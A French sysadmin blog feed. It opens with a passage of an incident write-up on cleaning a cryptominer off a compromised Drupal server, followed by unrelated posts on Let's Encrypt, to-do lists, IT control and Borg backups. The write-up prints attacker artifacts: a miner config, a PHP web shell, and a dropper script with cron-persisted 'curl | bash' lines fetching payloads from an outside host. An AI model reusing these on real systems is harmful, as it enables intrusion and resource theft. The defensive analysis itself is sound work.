<div style='text-align: left;' class='spip_code' dir='ltr'><code>root@machine:/# ps -aux |grep sus<br /> rapport+ 19884 0.1 0.0 178868 944 ? Ssl 06:35 0:00 ./sustes -c config.json -t 1<br /> <code><br /> <br /> Dans ce cas là, on a un fichier de configuration.<br /> <br /> <br /> Détection des processus et fichiers ouverts par un utilisateur<br /> <br /> <code><br /> root@machine:/# lsof -u www-data<br /> COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME<br /> sh 5399 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com<br /> sh 5399 www-data rtd DIR 8,1 4096 2 /<br /> sh 5399 www-data txt REG 8,1 125400 1088 /bin/dash<br /> sh 5399 www-data mem REG 8,1 1738176 161 /lib/x86_64-linux-gnu/libc-2.19.so<br /> sh 5399 www-data mem REG 8,1 140928 158 /lib/x86_64-linux-gnu/ld-2.19.so<br /> sh 5399 www-data 0r FIFO 0,8 0t0 263035594 pipe<br /> sh 5399 www-data 1u REG 8,1 0 11993 /tmp/tmpfsy8gCO<br /> curl 5400 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com<br /> curl 5400 www-data rtd DIR 8,1 4096 2 /<br /> curl 5400 www-data txt REG 8,1 182216 307756 /usr/bin/curl</code></div>
<p>On retrouve la commande curl (cf ci-dessous) et la commande appelant le fichier dans /tmp</p>
<p><strong>Blocage des IP des serveurs extérieurs</strong></p>
<p>Dans les processus on voit donc une connexion sur ip56.ip-217-XXX-XXX.eu</p>
<p>On cherche l'IP derrière cette machine via un simple et bête ping</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>root@machine:~$ ping ip56.ip-217-XXX-XXX.eu<br /> PING ip56.ip-217-XXX-XXX.eu (217.182.231.56) 56(84) bytes of data.<br /> 64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=1 ttl=58 time=13.2 ms<br /> 64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=2 ttl=58 time=18.9 ms<br /> ^C<br /> --- ip56.ip-217-XXX-XXX.eu ping statistics ---<br /> 2 packets transmitted, 2 received, 0% packet loss, time 1001ms<br /> rtt min/avg/max/mdev = 13.284/16.102/18.920/2.818 ms</code></div>
<p>Un rapide check sur Internet indique que c'est un noeud d'entrée TOR.</p>
<p><strong>On bannira cette IP</strong>.</p>
<p>On regarde le contenu du fichier de configuration</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>more config.json <br /> {<br /> "algo": "cryptonight", // cryptonight (default) or cryptonight-lite<br /> "av": 0, // algorithm variation, 0 auto select<br /> "background": true, // true to run the miner in the background<br /> "colors": true, // false to disable colored output <br /> "cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1<br /> "cpu-priority": null, // set process priority (0 idle, 2 normal to 5 highest)<br /> "donate-level": 1, // donate level, mininum 1%<br /> "log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log"<br /> "max-cpu-usage": 95, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option. <br /> "print-time": 60, // print hashrate report every N seconds<br /> "retries": 5, // number of times to retry before switch to backup server<br /> "retry-pause": 5, // time to pause between retries<br /> "safe": false, // true to safe adjust threads and av settings for current CPU<br /> "threads": null, // number of miner threads<br /> "pools": [<br /> {<br /> "url": "158.69.XXXX.XXXX:3333", // URL of mining server<br /> "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3Ywq", // username for mining server<br /> "pass": "x", // password for mining server<br /> "keepalive": true, // send keepalived for prevent timeout (need pool support)<br /> "nicehash": false // enable nicehash/xmrig-proxy support<br /> },<br /> {<br /> "url": "192.99.XXXX.XXXX:3333", // URL of mining server<br /> "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqD", // username for mining server<br /> "pass": "x", // password for mining server<br /> "keepalive": true, // send keepalived for prevent timeout (need pool support)<br /> "nicehash": false // enable nicehash/xmrig-proxy support<br /> },<br /> {<br /> "url": "202.144.XXX.XXX:3333", // URL of mining server<br /> "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfg", // username for mining server<br /> "pass": "x", // password for mining server<br /> "keepalive": true, // send keepalived for prevent timeout (need pool support)<br /> "nicehash": false // enable nicehash/xmrig-proxy support<br /> }<br /> ], <br /> "api": {<br /> "port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API<br /> "access-token": null, // access token for API<br /> "worker-id": null // custom worker-id for API<br /> }<br /> }</code></div>
<p><strong>On bannira ces IP</strong>.</p>
<p><strong>Vérification des connexions réseaux actives</strong></p>
<p>Trois commandes et outils pour voir les connexions actives avant et après le bannissement</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>netstat -puant<br /> Nethogs <br /> Iftop</code></div>
<p>qui confirment les connexions aux serveurs.</p>
<p><strong>Bannir les IP</strong></p>
<p>Pour chaque série d'IP, on bannit via iptables</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>iptables -A INPUT -s 217.182.231.56 -j DROP<br /> iptables -A OUTPUT -d 217.182.231.56 -j DROP</code></div>
<p><strong>Connexion sortantes et entrantes bloquées, nettoyage...</strong></p>
<p><strong>Méthode barbare</strong></p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>rm -rf /tmp<br /> rm -rf /var/tmp</code></div>
<p>Et on tue les processus liés à www-data</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>killall -u www-data</code></div>
<p><strong>Autres fichiers en PHP dans la partie Drupal - site web</strong></p>
<p>Dans le dossier Drupal, on fait du nettoyage de tout ce qui n'est pas lié à Drupal. On trouve, entre autres des fichiers étranges.</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>$ ls<br /> css.php sl.php ifm.php phpminiadmin.php 404.php iindex.php</code></div><div style='text-align: left;' class='spip_code' dir='ltr'><code>cat lefichier |base64 -d<br /> if(isset($_REQUEST['pass']))<br /> { <br /> echo "<pre>"; <br /> $hash = hash("sha512", $_REQUEST['pass']);<br /> if($hash == "e7f1b39e46ee003976cecc130362059edd1785e0dd8c6bd02f29d7...")<br /> { if(isset($_REQUEST['cmd'])) { $cmd = ($_REQUEST['cmd']); system(base64_decode($cmd)); }}<br /> else echo "gtfo";<br /> echo "</pre>"; <br /> die; <br /> }</code></div>
<p>Pour le reste, je vous renvoie à <a href="https://blog.seboss666.info/2018/05/decoder-un-script-php-malveillant-comment-sen-proteger/" title="Décoder un script PHP malveillant, comment s'en protéger">Décoder un script PHP malveillant, comment s'en protéger</a>, le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses...</p>
<p><strong>Les fichiers réapparaissent</strong></p>
<p>Malgré les kill, le processus se relance et les fichiers réapparaissent.</p>
<p>On regarde de nouveau les processus</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>root@machine:/# ps -aux |grep rapport<br /> rapport+ 15416 0.0 0.0 4336 764 ? Ss 09:46 0:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s<br /> rapport+ 15418 0.0 0.0 13236 2996 ? S 09:46 0:00 bash -s<br /> rapport+ 15449 0.0 0.0 5808 692 ? S 09:46 0:00 sleep 3<br /> root 15595 0.0 0.0 12728 2248 pts/1 S+ 09:46 0:00 grep rapport<br /> <br /> root@machine:/# ps -eaf |grep rapport<br /> rapport+ 16536 16535 0 09:47 ? 00:00:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s<br /> rapport+ 16537 16536 0 09:47 ? 00:00:00 curl -s http://192.99.XXX.XXX:8220/logo9.jpg<br /> rapport+ 16538 16536 0 09:47 ? 00:00:00 bash -s<br /> rapport+ 16941 15854 0 09:47 ? 00:00:00 php-fpm: pool monsite.com <br /> root 16959 14566 0 09:47 pts/1 00:00:00 grep rapport<br /> On un curl qui est lancé (qui était masqué).</code></div>
<p>On récupère le fichier via wget et on regarde son contenu</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>$ cat logo9.jpg<br /> #!/bin/sh<br /> pkill -f 192.99.XXX.XXX<br /> pkill -f suppoie<br /> ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid<br /> do<br /> kill -9 $procid<br /> done<br /> rm -rf /dev/shm/jboss<br /> ps -fe|grep -w sustes |grep -v grep<br /> if [ $? -eq 0 ]<br /> then<br /> pwd<br /> else<br /> crontab -r || true && \<br /> echo "* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s" >> /tmp/cron || true && \<br /> crontab /tmp/cron || true && \<br /> rm -rf /tmp/cron || true && \<br /> curl -o /var/tmp/config.json http://192.99.XXX.XXX:8220/3.json<br /> curl -o /var/tmp/sustes http://192.99.XXX.XXX:8220/rig<br /> chmod 777 /var/tmp/sustes<br /> cd /var/tmp<br /> proc=`grep -c ^processor /proc/cpuinfo`<br /> cores=$((($proc+1)/2))<br /> num=$(($cores*3))<br /> /sbin/sysctl -w vm.nr_hugepages=`$num`<br /> nohup ./sustes -c config.json -t `echo $cores` >/dev/null &<br /> fi<br /> sleep 3<br /> echo "runing....."</code></div>
<p>Un script shell lié à une IP qui n'a rien à voir, qui se masque et qui relance la création des mineurs de bitcoins....</p>
<p>C'est ce processus masqué qui fait revenir les fichiers...</p>
<p><strong>Ban de l'IP</strong></p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>iptables -A INPUT -s 192.99.XXX.XXX -j DROP<br /> iptables -A OUTPUT -s 192.99.XXX.XXX -j DROP</code></div>
<p><strong>Nettoyage des tâches cron</strong></p>
<p>Et malrgé tout ça, il y a une relance du processus... Même si les fichiers ne réapparaissent pas.</p>
<p>En effet, l'astuce est qu'il y a des crontab spécifiques aux sites hébergés sont dans /var/spool/cron/crontabs <br class='autobr' />
Il reste des tâches à nettoyer :</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>root@machine:/var/spool/cron/crontabs# ls<br /> www-data<br /> <br /> cat www-data<br /> root@machine:/var/spool/cron/crontabs# cat www-data <br /> # DO NOT EDIT THIS FILE - edit the master and reinstall.<br /> # (/tmp/cron installed on Mon May 21 09:46:01 2018)<br /> # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)<br /> * * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s</code></div>
<p>Il faut supprimer ces fichiers et tuer tous les processus liés à l'utilisateur</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>rm /var/spool/cron/crontabs/www-data<br /> killall -u www-data</code></div>
<p><strong>Changement des droits de /var/tmp</strong></p>
<p>Par défaut, les droits de /var/tmp était en 777 sur cette machine...</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>chmod 755 /var/tmp</code></div>
<p>comme ça le processus lié à l'utilisateur php ne peut plus écrire.</p>
<p><strong>Conclusion</strong></p>
<p>On finit par la mise à jour du serveur. On a alors un site qui peut rester en ligne, le temps que l'on reparte sur un autre serveur virtuel bien propre sur lequel on restaure la sauvegarde du site, on met à jour, et on bascule. Et on supprime la machine compromise. Sait-on jamais...</p></div>
		
		


title: Yunohost, Let's Encrypt - Soucis de renouvellement automatique pour un sous-domaines
uri: Yunohost-Let-s-Encrypt-Soucis-de-renouvellement-automatique-pour-un
feed_id:
https://blog.genma.fr/?Yunohost-Let-s-Encrypt-Soucis-de-renouvellement-automatique-pour-un-sous-domaines

url:
https://blog.genma.fr/?Yunohost-Let-s-Encrypt-Soucis-de-renouvellement-automatique-pour-un-sous-domaines

content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2756.jpg?1527196418' width='150' height='79' />
		<div class='rss_texte'><p>J'aime bien avoir des sous-domaines thématiques et une application installé à la racine de sous domaine. Exemple cloud.toto.com avec Nextcloud à la racine (accessible via cloud.toto.com), rss.toto.com... Sur chacun de sous-domaines j'ai activé les certificats Let's Encrypt (fonctionnalité inclue par défaut dans l'interface d'administration des domaines de Yunohost).</p>
<p>J'avais un soucis de renouvellement automatique d'un certificat Let's Encrypt d'un sous-domaine qui arrivait à expiration, signalé par mail via la tâche cron qui gère ce renouvellement.</p>
<p>J'ai tenté via l'interface de renouveler le certificat ( Accueil > Domaines > status.toto.com > Certificat) et j'ai eu l'erreur du type</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>Wrote file to /tmp/acme-challenge-public/MtjRxzsCW2l5NCj7Y-vfMoIviNHmtxv0eJp1FS9kuaw, but couldn't download http://<br /> status.toto.com/.well-known/acme-challenge/MtjRxzsCW2l5NCj7Y-vfMoIviNHmtxv0eJp1FS9kuaw</code></div>
<p>L'application installée (Cachet) était à la racine du domaine status.toto.com</p>
<p>Depuis la gestion de l'application dans la partie administration de Yunohost, j'ai migré l'application vers /cachet (Applications > Cachet > Changer l'URL)</p>
<p><span class='spip_document_2551 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/bmp/selection_008.bmp?1527196631' width='500' height='104' alt="" /></span></p>
<p><span class='spip_document_2550 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/bmp/selection_009.bmp?1527196614' width='450' height='185' alt="" /></span></p>
<p>J'ai alors relancé le renouvellement du Certificat depuis l'interface d'administration (clic sur le bouton "Renouveler manuellement maintenant).</p>
<p><span class='spip_document_2552 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/bmp/selection_006.bmp?1527196666' width='500' height='150' alt="" /></span></p>
<p><span class='spip_document_2553 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/bmp/selection_007.bmp?1527196675' width='500' height='216' alt="" /></span></p>
<p>Ça a marché !</p>
<p>J'ai rechangé l'url de l'application Cachet pour qu'elle soit de nouveau vers /, l'application Cachet est donc à la racine du domaine status.toto.com et la seule application du sous-domaine. Et le certificat pour le domaine status.toto.com est bon pour 89 jours...</p>
<p>A voir si lors de l'arrivée de la prochaine expiration du certificat pour ce sous-domaine je dois faire la même chose...</p>
<p>A noter que pour d'autres sous-domaines plus anciens ayant eux aussi des applications installées à la racine du sous-domaine (du coup une seule application par sous-domaine), je n'ai pas de soucis de renouvellement automatisé. A creuser via les logs à l'occasion.</p></div>
		
		


feed_id: https://blog.genma.fr/?Lifehacking-et-todo-liste-papier
title: Lifehacking et todo liste papier
uri: Lifehacking-et-todo-liste-papier
url: https://blog.genma.fr/?Lifehacking-et-todo-liste-papier
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2749.jpg?1526144634' width='150' height='79' />
		<div class='rss_texte'><p>J'ai utilisé différentes formes de todo-liste (de la feuille de tableur avec des colonnes à des listes papiers en passant par des kanban physiques...) et actuellement, j'ai deux types de todo-listes :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Lifehacking-Gitlab-outil-ideal" title="Lifehacking - Gitlab, outil idéal ?">Gitlab et son kanban</a> avec un kanban dédié par projet. Je mets des actions qui seront à faire dans les prochains jours, semaines voir mois, pour chaque projet, chantier ou service que je gère. De temps en temps, je fais du tri, je nettoie, j'anote les tickets du Kanban (en ajoutant des liens vers la documentation du wiki quand elle a été rédigée depuis la saisie du ticket par exemple. Voir mon article <a href="https://blog.genma.fr/?Lifehacking-Gitlab-outil-ideal" title="Lifehacking - Gitlab, outil idéal ?">Lifehacking - Gitlab, outil idéal ?</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Lifehacking-la-todo-liste" title="Lifehacking : la todo-liste">une todo-liste papier</a>, dans un cahier. Je prends des notes, je surligne avec des couleurs, je griffone, je raye. Je n'applique pas le <a href="https://blog.genma.fr/?Lifehacking-Conseil-pour-les-todo-listes-par-Makoto" title="Lifehacking - Conseil pour les todo-listes par Makoto">conseil de Makoto pour les todo-listes</a> mais je déchire les pages du cahier régulièrement, je réécrie les actions non encore faites (en en faisant le tri si besoin) sur une nouvelle page et je raye l'action précédente. Une fois que toute la page est raturée, je la jette. J'ai une todo-liste à jour et propre.</p>
<p>Réécrire mes actions dans une sorte de nouvelle todo liste, le fait de refaire une nouvelle todo liste à partir d'une todo existante (au sein de laquelle je raye donc ce qui a déjà été fait ou ce qui a été reporté et qui reste à faire) permet de mémoriser les actions à faire. La réécriture des actions me permet de voir si j'ai bien toutes les informations nécessaires pour faire cette action ultérieurement. Je peux aussi faire l'action dans la foulée, au lieu de la réécrire, appliquant ainsi un des préceptes de <a href="https://blog.genma.fr/?La-methode-Getting-things-done-adoptee-mais" title="La méthode Getting things done adoptée mais adaptée">GTD Getting Things Done</a> : <i>chaque tache qui prend moins de 5 minutes est réalisée de suite, sinon elle est planifiée ou remise à plus tard, dans une "todo"</i>.</p>
<p>Pour les tickets Gitlab, je n'hésite pas à réécrire / renommer les tâches pour qu'elle soient plus explicites, ce qui est une forme de réécriture d'une certaine façon.</p>
<p>Le fait d'avoir une todo à jour, réécrite, me permet de rien oublier, de ne pas avoir à mémoriser et à m'encombrer l'esprit avec tout une série de tâches pour lesquelles je pourrais me pencher dessus le moment venu.</p></div>
		
		


title: Devenir SysAdmin d'une PME - Accepter de ne pas avoir le contrôle sur tout- Billet n°3
uri: Devenir-SysAdmin-d-une-PME-Accepter-de-ne-pas-avoir-le-contrôle-sur
feed_id:
https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Accepter-de-ne-pas-avoir-le-controle-sur-tout-Billet-no3

url:
https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Accepter-de-ne-pas-avoir-le-controle-sur-tout-Billet-no3

content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2757.jpg?1528054127' width='150' height='79' />
		<div class='rss_texte'><p>Ce billet fait partie de la série :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-retour-d-experience" title="Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0">Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Gestion-du-legacy-Billet-no1" title="Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1">Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Mineur-de-bitcoin-Billet-no2" title="Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2">Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2</a></p>
<p>Nouveau billet de la série Devenir SysAdmin d'une PME avec cette fois ci un billet de réflexion autour du sujet du contrôle et de la maîtrise et plus exactement sur le fait d'accepter de ne pas avoir le contrôle sur tout.</p>
<p>A la mi-mars, j'écrivais deux billets assez intimistes à savoir <a href="https://blog.genma.fr/?Le-metier-passion" title="Le métier passion">Le métier passion</a> et <a href="https://blog.genma.fr/?Tout-intellectualiser" title="Tout intellectualiser">Tout intellectualiser</a>, dans lesquels j'évoquais le travers dans lequel j'étais tombé de part avoir (enfin) un métier que j'aime et la volonté de vouloir toujours plus de contrôle...</p>
<p>Dans les semaines qui ont suivies, j'ai pris du recul, réfléchit et j'apprends peu à peu à accepter qu'on ne peut pas avoir le contrôle sur tout. Comme indiqué avec le début de la série de billet <i>Devenir SysAdmin d'une PME</i>, je suis en pleine restructuration de l'infrastructure en commençant par l'appropriation de cette dernière, la gestion de la documentation pour me permettre l'appropriation des différentes strates et couches accumulées au cours des années par différents administrateurs systèmes. Avant de pouvoir passer à une phase d'homogénéisation permettant alors une industrialisation de le gestion de tout le S.I., il y a la compréhension de ce dernier, <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Gestion-du-legacy-Billet-no1" title="Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1">la gestion du legacy</a>, <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Mineur-de-bitcoin-Billet-no2" title="Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2">la gestion des incidents de sécurité</a>par méconnaissance de l'existence de ce site Drupal planqué dans un coin)...</p>
<p>Accepter de ne pas avoir le contrôle sur tout, c'est accepter que l'on a encore beaucoup de travail à faire avec la gestion du legacy. Et qu'un incident interviendra forcément sur quelque chose que l'on a pas encore eu le temps de documenter ou de revoir la documentation si celle-ci est déjà existante. Il y aura forcément, dans un coin, le serveur qui <i>marche</i> et que tout le monde a oublié avec un mot de passe que personne ne connaît plus... Jusque ce qu'il y ait un soucis (un disque qui ne répond plus ou autre) et que soudain, cela devienne une priorité.</p>
<p>Idem pour les sauvegardes. Je dois faire un billet dédié sur la mise en place des sauvegardes avec Borg (que je ne peux que conseiller et tous les retours que j'en ai des personnes qui ont suivi ce conseil me conforte dans le fait d'avoir moi-même suivi le conseil d'utiliser Borg. Les sysadmin, une grande famille qui partage les bonnes astuces). Je pars du principe que si je ne sais pas, ça n'existe pas.</p>
<p>Il y a très certainement des sauvegardes automatisées et tout marche. Mais comme <i>dans tout legacy</i>, il y a différents outils, mis en place au fur et à mesure. Je pars du principe que si je ne sais pas (encore) comment ça marche et surtout si je n'ai pas testé la restauration de la sauvegarde, ça n'existe pas. C'est très direct. Mais au moins ça donne un bon aperçu de la réalité : le moment où j'aurai besoin de cette sauvegarde, ce sera forcément dans un moment d'urgence. Si je ne sais pas comment ça marche et comment restaurer, cela revient à ne pas avoir de sauvegarde d'une certaine façon. Accepter de ne pas avoir le contrôle sur tout, c'est accepter que pour l'instant, tout n'est pas industrialiser au niveau des sauvegardes, que tout n'est pas sous contrôle...</p>
<p>De même, dans le cadre de la sécurité et de la gestion des PC des collaborateurs. Beaucoup d'entreprise font le choix de verrouiller au maximum les PC en limitant les droits, les applications installées, en mettant des proxys... Une autre façon de faire et de sécuriser le S.I. et d'accepter le BYOD et de responsabiliser les collaborateur.trice.s. L'entreprise dans laquelle je suis, je l'ai choisi sur de nombreux critères dont le fait que l'on soit Administrateur de sa machine. Le fait que l'on soit sous un O.S. GNU/Linux (distribution de son choix) limite grandement les risques de sécurité classique liés aux postes sous Windows (virus, spyware...) tout comme le fait d'avoir des colloborateur.trice.s geek, utilisateur.trice.s avancé.e.s ayant par conséquence des notions plus élevés que la moyenne des bonnes pratiques de l'hygiène numérique. Un exemple est la facilité que j'ai à imposer l'usage de Keepass vu que beaucoup l'utilisent déjà par défaut.</p>
<p>Toutefois, je sais bien qu'un tas de fichiers sont créés sur lei postes utilisateurs... Et avec la mise en application du RGPD, il y a eu des nouvelles sessions de formation et de sensibilisation de faite et des sessions à faire et refaire, aux nouveaux arrivants, en rappel... De même, trop nombreuses restent encore les personnes qui ignorent que Firefox stocke les données du profil en clair sur le disque, et que l'OS a beau avoir un mot de passe, l'intégralité du contenu du disque est accessible via un live usb. Dans ce cas, seule solution : le chiffrement du poste. Là, encore, accepte-t-on de ne pas avoir la phrase de passe ?</p>
<p>Autre cas, la gestion des tickets, des demandes etc. Là encore, il faut accepter de déléguer, en donnant des consignes strictes sur la qualité de la documentation mise en place, sur l'enrichissement et le maintient de cette dernière. On ne peut pas tout faire et il faut donc accepter de ne pas avoir le contrôle sur tout. Mais ce n'est pas une raison pour que l'on ait le contrôle sur rien ;)</p></div>
		
		


feed_id: https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Les-sauvegardes-Billet-no4
title: Devenir SysAdmin d'une PME - Les sauvegardes- Billet n°4
uri: Devenir-SysAdmin-d-une-PME-Les-sauvegardes-Billet-n-4
url: https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Les-sauvegardes-Billet-no4
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2758.jpg?1528056065' width='150' height='79' />
		<div class='rss_texte'><p>Ce billet fait partie de la série :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-retour-d-experience" title="Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0">Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Gestion-du-legacy-Billet-no1" title="Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1">Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Mineur-de-bitcoin-Billet-no2" title="Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2">Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Accepter-de-ne-pas-avoir-le-controle-sur-tout-Billet-no3" title="Devenir SysAdmin d'une PME - Accepter de ne pas avoir le contrôle sur tout- Billet n°3">Devenir SysAdmin d'une PME - Accepter de ne pas avoir le contrôle sur tout- Billet n°3</a></p>
<p><strong>Introduction</strong></p>
<p>Les sauvegardes... Ah les sauvegardes... Depuis que j'ai eu mon premier ordinateur et que j'ai perdu des données, j'ai appris très rapidement à faire des sauvegardes. Car il y a deux types d'administrateurs systèmes "celui qui a déjà fait un rm -rf /* et celui qui le fera".</p>
<p>J'ai écrit quelques billets au cours des années sur ce sujet, pour aider à savoir quoi sauvegarder etc. je vous mets la liste des principaux billets ici :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?A-I-2-Qu-est-ce-que-je-dois-sauvegarder" title="A.I.2 - Qu'est ce que je dois sauvegarder ?">A.I.2 - Qu'est ce que je dois sauvegarder ?</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Sauvegarde-la-regle-des-3-2-1" title="Sauvegarde la règle des 3-2-1">Sauvegarde la règle des 3-2-1</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?L-importance-des-sauvegardes" title="L'importance des sauvegardes...">L'importance des sauvegardes...</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Sauvegarde-et-restauration" title="Sauvegarde et restauration">Sauvegarde et restauration</a></p>
<p>Dans ce billet, je voudrais parler de quelques trucs sympa sur les sauvegardes.</p>
<p><strong>Borg pour la sauvegarde des fichiers</strong></p>
<p>Nombreux sont les outils pour les sauvegardes de fichers, des scripts maisons à base de rsync en passant par des outils plus évolués comme Duplicty, Rdiffbackup... Dans un précédent billet, j'évoquais <a href="https://blog.genma.fr/?Borg-comme-outil-de-sauvegarde" title="Borg comme outil de sauvegarde">Borg comme outil de sauvegarde</a>. Avec les semaines, je reste persuader et convaincu que Borg est l'outil idéal et permet de faire, d'une façon simple, des sauvegardes des fichiers (on exclue le cas des bases de données qui sera traiter dans un billet ultérieur). Et je ne suis pas le seul à le dire. Cet article <a href="https://www.sysnove.fr/blog/2016/06/backupninja-borg.html" title="Sauvegarder ses machines avec Borg et Backupninja">Sauvegarder ses machines avec Borg et Backupninja</a> présente par exemple les avantages de Borg <i>Contrairement à rdiff-backup qui a un algorithme basé sur rsync et fonctionne par incrémentation de version en version (ce qui interdit notamment de supprimer une version intermédiaire), BorgBackup utilise une technique de déduplication de morceaux (chunks). Au lieu de travailler par fichiers, il concatène (et compresse) tout ce qu'il y a à sauvegarder, pour le stocker par morceaux de 50Mo. Sans rentrer dans les détails, les intérêts sont multiples...</i></p>
<p>Le but de cette partie n'est pas de faire un tutoriel sur Borg, mais de parler de mon retour d'expérience sur le sujet en quelques mots. Je l'utilise au quotidien pour mes sauvegardes de mon poste professionnel mais également pour différents serveurs. C'est rapide, simple et efficace, pour gérer des sauvegardes de plusieurs gigas en sauvegarde chaque jour (avec peu de fichiers modifiés), ça prends quelques dizaines de secondes. Pour le cas des serveurs, j'ai mis en place un script shell on ne peut plus basique, qui fait appel à Borg. Un script du type de celui-ci est placé en tâche cron lancé chaque nuit. Si besoin, l'avantage de Borg est que l'on peut même faire une tâche cron qui se lance toutes les heures pour avoir une sauvegarde des fichiers toutes les heures. Ca ne prendra pas beaucoup de place et on aura toutes les sauvegardes dont on pourrait avoir besoin...</p>
